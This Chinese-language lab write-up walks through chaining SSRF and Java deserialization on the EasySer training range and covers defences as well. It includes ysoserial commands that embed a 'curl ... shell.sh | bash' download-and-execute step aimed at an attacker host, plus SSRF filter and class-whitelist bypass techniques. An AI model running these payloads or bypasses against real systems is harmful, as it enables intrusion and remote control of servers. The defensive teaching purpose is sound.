SSRF与Java反序列化漏洞组合攻击：从原理到实战的完整剖析

1. 项目概述：一个参数引发的“蝴蝶效应”

最近在复现和审计一些老靶场时，我又把EasySer这个经典的Java靶场翻了出来。这个靶场之所以经典，是因为它用一个极其简单的场景，生动地展示了安全漏洞之间如何“串联”和“组合”，最终产生远超单个漏洞威力的攻击链。整个攻击的起点，仅仅是一个看似无害的请求参数。这让我想起安全圈常说的一句话：“漏洞本身不可怕，可怕的是漏洞的组合。”今天，我们就以EasySer靶场为例，深入拆解SSRF（服务器端请求伪造）与Java反序列化漏洞是如何被一个参数精巧地串联起来，实现从外网探测到内网穿透，再到最终命令执行的完整攻击路径。无论你是正在学习Web安全的初学者，还是想深入理解漏洞联动原理的进阶者，这个案例都能给你带来不少启发。

2. 漏洞原理深度解析：SSRF与反序列化的“化学反应”

在深入实战之前，我们必须先搞清楚两个核心漏洞的原理，以及它们为何能产生“1+1>2”的效果。单独来看，SSRF和反序列化都是高危漏洞，但它们的攻击面和利用条件有所不同。

2.1 SSRF：内网大门的“万能钥匙”

SSRF，即Server-Side Request Forgery。简单来说，就是攻击者能够欺骗服务器，让它代表攻击者向任意地址（通常是内网地址）发起HTTP请求。想象一下，你有一个智能管家（Web应用），你可以命令它：“去把门口信箱里的信拿给我。” 正常情况下，它只会去门口。但如果这个管家存在逻辑缺陷，攻击者可以命令它：“去地下室第三个房间的保险柜里，把里面的文件拿给我。” SSRF就是这个逻辑缺陷，它让“管家”的执行范围超出了设计者的预期。

SSRF的常见成因：

1. 未校验的URL参数：应用提供了从指定URL获取数据的功能（如图片加载、文件导入、网页抓取），但对用户传入的URL没有进行严格的校验和过滤。
2. URL解析差异：攻击者利用URL解析器的特性，通过构造特殊的URL（如使用@、#、DNS重绑定、302跳转等）绕过黑名单或白名单校验。
3. 服务端请求跟随重定向：应用在请求用户提供的URL时，自动跟随了重定向，而重定向的目标地址可能是内网服务。

在EasySer靶场中，SSRF的触发点通常是一个用于获取远程资源的接口，例如一个imageUpload功能，它接受一个url参数，并尝试去下载这个URL指向的图片。如果后端代码直接使用HttpClient或URLConnection等工具去请求这个url，而没有检查其协议（是否仅为http/https）、域名（是否指向内网IP段如192.168.*.*，10.*.*.*，172.16.*.*，127.0.0.1）或端口，那么SSRF就产生了。

SSRF的危害不止于端口扫描：很多人认为SSRF就是用来扫描内网端口的，这低估了它的价值。通过SSRF，攻击者可以：

• 探测内网资产：识别内网存在的Web应用、数据库、缓存服务等。
• 攻击内网脆弱应用：直接访问内网中未授权或存在已知漏洞的应用，例如攻击Redis、Memcached等。
• 作为请求代理：访问那些原本只允许内网访问的管理界面或API接口。
• 与其它漏洞结合：这正是我们今天的重点——作为反序列化漏洞的“触发器”或“传输带”。

2.2 Java反序列化：从数据到代码的“魔法”

序列化是将对象的状态信息转换为可以存储或传输的形式（字节流）的过程。反序列化则是其逆过程，将字节流恢复为对象。Java提供了ObjectInputStream和ObjectOutputStream来实现这一功能。

漏洞的根源在于“信任”。当应用对来自不可信源（如网络请求、文件上传）的序列化数据执行反序列化操作时，就埋下了隐患。攻击者可以精心构造一个序列化数据流，其中包含指向某个特殊类（通常存在于项目的依赖库中）的引用。当这个数据流被反序列化时，Java虚拟机会自动调用该类的readObject()方法。如果这个类（我们称之为“Gadget链”中的一环）的readObject()方法中，包含了某些危险操作，比如使用Runtime.exec()执行系统命令，那么反序列化过程就会变成代码执行过程。

为什么反序列化漏洞如此危险？

1. 执行层面高：成功利用通常意味着直接获得Web应用进程权限，可以执行任意系统命令。
2. 利用链复杂：一个完整的利用（Gadget Chain）往往需要串联多个类，从触发点（如HashMap的readObject）到最终执行点（如TemplatesImpl的newTransformer）。著名的利用链有CommonsCollections（CC链）、Fastjson、Jackson、XStream等。
3. 隐蔽性强：攻击载荷是一串二进制或Base64编码的字节流，混杂在正常的数据中，不易被传统的WAF或日志分析直接发现。

2.3 组合漏洞的思维：SSRF作为反序列化的“投递员”

现在，让我们把两者结合起来思考。假设存在一个Java应用（比如EasySer）：

1. 它有一个SSRF漏洞点，可以请求内网的任意服务。
2. 内网中某个服务（例如一个Java RMI服务、一个HTTP服务端口）存在一个反序列化入口点，它会直接反序列化接收到的HTTP请求体或特定参数。

那么，攻击思路就清晰了：

• 步骤一（侦察）：利用SSRF漏洞，对内网特定IP段进行端口扫描，寻找开放了特定端口（如RMI的1099端口，或者某个Web服务的特定路径）的服务。
• 步骤二（投递）：攻击者无法直接访问这个内网服务，但存在SSRF漏洞的服务器可以。攻击者将构造好的恶意序列化数据（即反序列化利用载荷/Payload），作为请求体或参数，通过SSRF漏洞点“投递”给内网的目标服务。
• 步骤三（触发）：内网目标服务接收到这个请求后，由于其存在反序列化漏洞，会直接处理这个Payload，从而在内网服务器上触发命令执行。

这样一来，SSRF扮演了“桥梁”和“运输工具”的角色，将反序列化这把“利器”从外网攻击者手中，运送并刺入了内网的目标。这就是组合漏洞的威力：SSRF突破了网络边界，反序列化则实现了权限突破。

3. EasySer靶场实战：漏洞链的完整复现

理论讲完了，我们进入实战环节。为了复现这个漏洞链，你需要准备一个Java Web运行环境（如Tomcat），并将EasySer靶场部署起来。这里我们假设你已经完成了基础环境搭建，靶场运行在http://your-ip:8080/easyser。

3.1 环境探测与SSRF漏洞发现

首先访问靶场主页，进行常规的功能点测试。通常，这类靶场会有一个明显的文件上传、URL下载或者图片处理功能。

1. 功能点分析：通过浏览或简单的目录扫描，我们发现一个名为/getImage的接口。通过查看前端代码或抓包，发现它接收一个url参数。

   GET /easyser/getImage?url=http://example.com/image.jpg HTTP/1.1

2. SSRF验证：修改url参数，尝试让其访问本地回环地址或其他内网地址。

   GET /easyser/getImage?url=http://127.0.0.1:8080 HTTP/1.1

   观察响应。如果服务器返回了本机8080端口服务的首页内容（可能是Tomcat默认页），或者返回的响应时间、状态码与访问一个不存在的端口有明显差异，那么SSRF漏洞基本可以确认。
3. 内网探测：确认SSRF存在后，开始利用它进行内网探测。由于靶场环境通常比较简单，我们可以假设内网存在另一个服务在192.168.0.100的8088端口上。

   GET /easyser/getImage?url=http://192.168.0.100:8088 HTTP/1.1

   通过Burp Suite的Intruder模块，可以批量对192.168.0.1-254的常见端口（80, 443, 8080, 8081, 8090, 9000等）进行扫描，绘制内网资产地图。

3.2 定位反序列化端点

在内网探测过程中，我们需要特别关注那些可能接受序列化数据的端点。常见的反序列化入口有：

• RMI服务：默认端口1099。通过SSRF访问rmi://192.168.0.100:1099/，如果存在服务，可能会返回一些信息。
• HTTP端点：某些Java框架或应用会提供接收序列化数据的HTTP接口。例如，一些监控接口、调试接口，或者使用了Java序列化进行通信的微服务端点。它们的URL路径可能包含/invoker、/JMXInvokerServlet（JBoss）、/wls-wsat/*（WebLogic）等。
• 自定义协议端口：一些Java应用会自定义TCP服务，直接接收ObjectInputStream。

在EasySer的设定中，我们假设通过SSRF扫描发现内网192.168.0.100:8088上运行着一个服务，其/api/deserialize接口会直接读取HTTP POST请求的Body，并尝试进行Java反序列化。

3.3 构造与投递反序列化Payload

这是整个攻击链中最关键的技术环节。我们需要构造一个能在目标服务器上执行命令的序列化对象。

1. 选择利用链（Gadget Chain）：首先需要知道目标服务器的Java版本和ClassPath中包含了哪些公共库。常见的利用链工具如ysoserial，它集成了多种链。

   • CommonsCollections1(CC1): 适用于Commons-Collections <= 3.2.1且JDK < 8u71的环境。
   • CommonsCollections2(CC2): 使用javassist，对CC库版本要求较宽。
   • CommonsCollections3(CC3): 结合了javassist和TemplatesImpl。
   • CommonsCollections4(CC4): CC2的变种。
   • Jdk7u21: 利用JDK内部的类，不依赖第三方库。

   由于靶场环境通常是固定的，我们可以通过报错信息或尝试不同链来探测。这里我们假设目标环境存在commons-collections 3.1，使用CC1链。

2. 生成Payload：使用ysoserial生成Payload。命令格式如下：

   java -jar ysoserial.jar CommonsCollections1 "要执行的命令" > payload.ser

   例如，生成一个在Linux下执行curl http://attacker.com/shell.sh | bash的Payload（假设攻击者服务器在192.168.1.200）：

   java -jar ysoserial.jar CommonsCollections1 "curl -s http://192.168.1.200/shell.sh | bash" > payload.ser

   生成的payload.ser是一个二进制文件。

3. 通过SSRF投递Payload：现在，我们需要将payload.ser的内容，通过之前发现的SSRF漏洞点，发送到内网的反序列化端点。这里不能直接用GET请求的url参数了，因为参数通常有长度限制，且是URL编码。我们需要让存在SSRF的服务器发起一个POST请求，并且请求体就是我们的二进制Payload。

   这需要利用SSRF支持协议和方法的特性。如果SSRF的实现是使用java.net.URLConnection，并且代码没有限制请求方法，那么我们可以尝试利用file://协议或jar://协议来构造一个特殊的请求，或者利用HTTP协议的重定向功能。但更常见且通用的方法是：如果SSRF点支持访问一个攻击者可控的Web服务，并由这个服务返回一个包含恶意Payload的响应，同时这个响应能“引导”存在SSRF的服务器向目标发起POST请求。

   一个更直接的思路（适用于EasySer这类教学靶场）：假设/getImage接口的后端逻辑是使用HttpURLConnection，并且它完整地复制了原始请求的方法和请求体（虽然不常见，但某些实现不佳的代理功能可能会这样）。那么攻击步骤是：

   • 攻击者直接向/getImage接口发起一个POST请求。
   • 请求的url参数值为内网目标地址：http://192.168.0.100:8088/api/deserialize。
   • 请求体（Body）放置我们生成的payload.ser的二进制内容（或Base64编码后的内容，如果后端会解码）。
   • 存在SSRF漏洞的服务器在解析这个请求时，会向http://192.168.0.100:8088/api/deserialize发起一个POST请求，并将收到的请求体原样转发。

   对应的Burp Suite请求可能如下所示：

   POST /easyser/getImage HTTP/1.1 Host: your-ip:8080 Content-Type: application/x-www-form-urlencoded Content-Length: [length] url=http://192.168.0.100:8088/api/deserialize&[这里可能需要根据实际参数调整，或者Body直接放二进制数据]

   注意：实际构造取决于靶场/getImage接口的具体实现。可能需要尝试不同的Content-Type（如application/octet-stream），或者将Payload进行URL编码后放在某个参数里。

3.4 攻击触发与结果验证

当精心构造的请求发出后，整个攻击链开始运转：

1. 外网攻击者向EasySer的SSRF端点发送请求。
2. EasySer服务器根据url参数，向内网的192.168.0.100:8088/api/deserialize发起HTTP POST请求，并将攻击者的请求体发送过去。
3. 内网的192.168.0.100:8088服务接收到请求，其/api/deserialize接口读取请求体，并进行了ObjectInputStream.readObject()操作。
4. 反序列化过程触发CC1利用链，最终执行了嵌入在Payload中的命令：curl -s http://192.168.1.200/shell.sh | bash。
5. 内网服务器从攻击者的192.168.1.200下载并执行了shell.sh脚本，攻击者从而获得了内网服务器的控制权（例如，shell.sh是一个反弹Shell脚本）。

验证攻击是否成功，可以监听攻击者服务器上shell.sh被请求的日志，或者直接监听反弹Shell的端口。

4. 漏洞挖掘与防御的深层思考

通过EasySer的案例，我们看到了一个参数如何像多米诺骨牌的第一张，引发连锁反应。这对开发者和安全人员都有深刻的启示。

4.1 从攻击者视角：漏洞挖掘的技巧与思路

1. 参数追踪与数据流分析：安全测试时，要关注每一个用户可控的输入点，特别是URL、文件路径、服务器地址这类参数。使用工具（如Burp Suite的Flow）或代码审计，追踪它们在整个应用中的数据流向，看最终是否被用于发起网络请求（HttpClient.execute,URLConnection.connect等）。
2. 协议与伪协议利用：测试SSRF时，不要只测试http://。尝试file://（读取本地文件）、dict://（探测端口信息）、gopher://（一个功能强大的协议，可以构造任意TCP数据包，常用于攻击内网Redis、Memcached）、ldap://等。不同的后端库对协议的支持和处理方式不同，可能绕过一些过滤。
3. 绕过技巧：
   • IP地址编码：使用十进制IP、八进制IP、十六进制IP、域名解析（将IP绑定到自己的域名）来绕过简单的正则过滤。
   • URL解析差异：利用@符号，如http://expected-host@attacker-host。部分解析器会取@后面的部分作为主机，而有些过滤逻辑可能只检查整个字符串。
   • 重定向：提供一个URL，该URL返回一个302重定向响应，指向内网地址。如果服务器跟随重定向，则能成功访问内网。
   • DNS重绑定：利用DNS重绑定技术，使同一个域名在第一次解析时返回一个外网IP（通过过滤），在服务器真正发起请求时解析返回一个内网IP。
4. 反序列化入口发现：除了扫描常见端口和路径，还可以在发现SSRF后，尝试向探测到的HTTP服务发送一些畸形的、类似序列化魔术头（AC ED 00 05， Java序列化流的开始标志）的数据，观察其响应是否有异常，或者是否返回了Java反序列化相关的错误信息（如ClassNotFoundException,InvalidClassException）。

4.2 从开发者视角：立体化的防御策略

防御这种组合漏洞，需要从多个层面构建纵深防御体系。

1. SSRF防御：

   • 输入校验与白名单：对用户输入的URL进行严格校验。最佳实践是建立白名单机制，只允许访问预设的、可信的域名或IP地址。如果业务必须允许自定义URL，则必须进行严格的过滤。
   • 解析与校验分离：使用权威的URL解析库（如Java的java.net.URI）来解析URL，获取其host、protocol、port，然后对这些提取出的部分进行校验，而不是对原始字符串进行简单的字符串匹配。
   • 禁用危险协议和端口：在代码层面禁止请求file://、gopher://、dict://等非HTTP/HTTPS协议。禁止访问内网IP段（RFC 1918）和回环地址。
   • 控制请求目的地：使用网络层面的防火墙或安全组策略，限制应用程序服务器只能访问必要的出站地址和端口。
   • 不跟随重定向：如果业务不需要，在发起请求时显式设置不自动跟随重定向。

2. 反序列化防御：

   • 根本解决：避免反序列化不可信数据：这是最有效的方法。如果业务逻辑不需要，就不要使用Java原生序列化进行跨网络或跨信任边界的数据传输。可以考虑使用JSON、XML、Protobuf等更安全的数据格式。
   • 使用安全的反序列化库：如果必须使用，考虑使用更安全的库，如Jackson（配置enableDefaultTyping为false）、Gson等，并严格限制可反序列化的类型。
   • 升级依赖库：及时升级项目中使用的commons-collections、commons-beanutils等存在已知Gadget链的库到安全版本。
   • JVM层面防护：使用Java安全管理器（Security Manager）或第三方RASP（运行时应用自保护）产品，对执行敏感操作（如Runtime.exec、ProcessBuilder.start、反射调用等）进行拦截。
   • 输入验证与过滤：在反序列化之前，对输入流进行检查。可以尝试使用SerialKiller、NotSoSerial等工具，它们通过黑名单或白名单的方式，在ObjectInputStream解析过程中拦截危险的类。
   • 替换默认的ObjectInputStream：自定义ObjectInputStream，重写resolveClass方法，在其中对要反序列化的类进行严格的检查，只允许反序列化业务必要的类。

注意：黑名单防御方式（如过滤InvokerTransformer、TemplatesImpl等类）是脆弱的，因为新的利用链和类可能随时被发现。白名单方式（只允许已知安全的类）是更可靠的选择，但需要对业务有深入理解。

5. 实战中的疑难杂症与排查实录

在实际的漏洞利用和代码审计过程中，你肯定会遇到各种问题。下面记录了一些常见坑点和排查思路。

5.1 Payload生成与传输问题

• 问题：使用ysoserial生成的Payload，通过SSRF发送后，目标服务无反应，也没有错误日志。
  • 排查：
    1. 链选择错误：目标环境可能没有对应的Gadget链依赖。尝试换用其他链（如CC2, CC3, Jdk7u21）。可以通过触发一个已知的、会报ClassNotFoundException的类来探测环境。
    2. Payload编码问题：HTTP传输过程中，二进制数据可能被损坏。尝试将Payload进行Base64编码，并在接收端先解码再反序列化（这要求目标服务有对应的解码逻辑）。或者，确保你的请求工具（如Burp Suite）以二进制模式（Paste from file）粘贴Payload，并设置正确的Content-Type: application/octet-stream。
    3. 请求方式不对：确认目标反序列化端点期望的是GET参数、POST表单参数还是Raw Body。通过SSRF构造的请求需要与之匹配。
• 问题：SSRF请求成功，但返回了java.io.StreamCorruptedException: invalid stream header错误。
  • 排查：这通常意味着发送过去的数据不是有效的Java序列化流。可能是数据在传输过程中被截断、编码错误，或者你发送的根本就不是序列化数据。检查你的Payload文件头是否是AC ED 00 05。确保整个Payload被完整发送。

5.2 利用链不生效的深度分析

• 问题：确认依赖存在，Payload也正确送达并触发了反序列化，但命令没有执行。
  • 排查：
    1. JDK版本限制：某些利用链对JDK版本有要求。例如，CC1链在JDK 8u71之后由于sun.reflect.annotation.AnnotationInvocationHandler的readObject逻辑变化而失效。需要换用CC2、CC3等链。
    2. 安全管理器限制：目标JVM可能启用了Security Manager，禁止了执行命令的操作。此时需要构造不依赖Runtime.exec的利用链，例如用于文件写入、DNS请求或延迟测试的链，来验证漏洞是否存在。
    3. 命令执行上下文：命令是在Web应用所属的Java进程权限下执行的。这个权限可能受限（如Docker容器内、低权限用户）。执行的命令可能因为环境变量PATH问题找不到（如curl、wget），最好使用绝对路径/usr/bin/curl，或者先尝试执行whoami、id、pwd等简单命令。
    4. 出网限制：你的反弹Shell或下载命令需要目标服务器能访问你的攻击机。如果目标内网服务器无法出网，命令执行了你也收不到回显。此时需要考虑无回显的利用方式，如使用dnslog.cn这类平台通过DNS查询外带数据，或者执行延时命令（ping -c 5 attacker_ip）来判断命令是否执行。

5.3 防御机制的绕过尝试

• 问题：目标对反序列化类进行了白名单过滤。
  • 思路：研究白名单的具体实现。如果过滤不严格，可能存在绕过。例如，如果使用Class.forName加载类，可以考虑使用数组类（[Lcom.xxx.EvilClass;）或内部类（com.xxx.Outer$Inner）等形式。此外，可以寻找白名单内本身存在的、具有危险方法的类，构造新的、不被拦截的Gadget链。这需要更深入的Java知识和代码审计能力。

6. 工具链与自动化探索

手工复现有助于理解原理，但在实战和批量检测中，我们需要借助工具。

1. SSRF探测工具：

   • Burp Suite Collaborator：这是Burp Suite Pro版的功能，用于检测盲SSRF。你可以在Payload中插入Collaborator生成的域名，如果存在SSRF且目标服务器发起了DNS查询或HTTP请求，Collaborator会收到通知，这非常适合探测那些没有回显的SSRF。
   • Gopherus：一款专门用于利用Gopher协议攻击内网服务的工具，它可以直接生成攻击Redis、MySQL、FastCGI等服务的Gopher Payload，与SSRF结合威力巨大。
   • SSRFmap：一个自动化的SSRF探测和利用工具，内置了端口扫描、文件读取、内网服务攻击等多种功能模块。

2. 反序列化利用与检测：

   • ysoserial：必备的Payload生成器，前面已经详细介绍。
   • marshalsec：另一个优秀的工具，除了生成Payload，还方便启动恶意的RMI/LDAP服务器，用于在利用JNDI注入结合反序列化的攻击中提供恶意类加载。
   • Burp Suite 插件 – Java Deserialization Scanner：可以自动检测请求中可能存在的Java反序列化漏洞，并尝试使用DNS外带等方式验证。
   • GadgetInspector：一款静态分析工具，用于在Java应用的依赖库中自动寻找可能的Gadget链，对于代码审计和构建自定义利用链非常有帮助。

3. 自动化漏洞链利用： 将上述工具和思路结合起来，可以构思一个自动化脚本的工作流：

   • 输入目标存在SSRF的URL和参数。
   • 脚本通过SSRF对内网C段进行常见端口扫描。
   • 对开放的HTTP服务，自动发送一些探测请求，尝试识别服务类型（如查看HTTP响应头Server字段，或访问特定路径看返回）。
   • 如果识别出可能是Java服务（如Tomcat, JBoss, Weblogic），则自动向其发送几种常见的反序列化探测Payload（如URLDNS链，该链只会触发DNS查询，无害但可用于验证漏洞存在）。
   • 如果探测到漏洞，再根据识别出的服务信息和版本，选择对应的命令执行Payload进行利用。

这个案例的价值远不止于攻破一个靶场。它揭示了一种重要的安全思维模式：不要孤立地看待单个漏洞。在复杂的系统架构中，一个低危的信息泄露漏洞（如SSRF）可能成为利用另一个高危漏洞（如反序列化）的关键跳板。作为防御方，需要建立纵深防御，每一层都可能阻断攻击链；作为攻击方，则需要拥有这种“连接点”的视野，将分散的弱点串联成致命的攻击路径。在审计代码时，每当看到一个new ObjectInputStream()，我都会下意识地问自己：“这个流的源头，用户最终能控制吗？它会不会通过某个SSRF点从别处流过来？” 这种联想能力，或许就是资深安全研究员与新手之间的一道分水岭。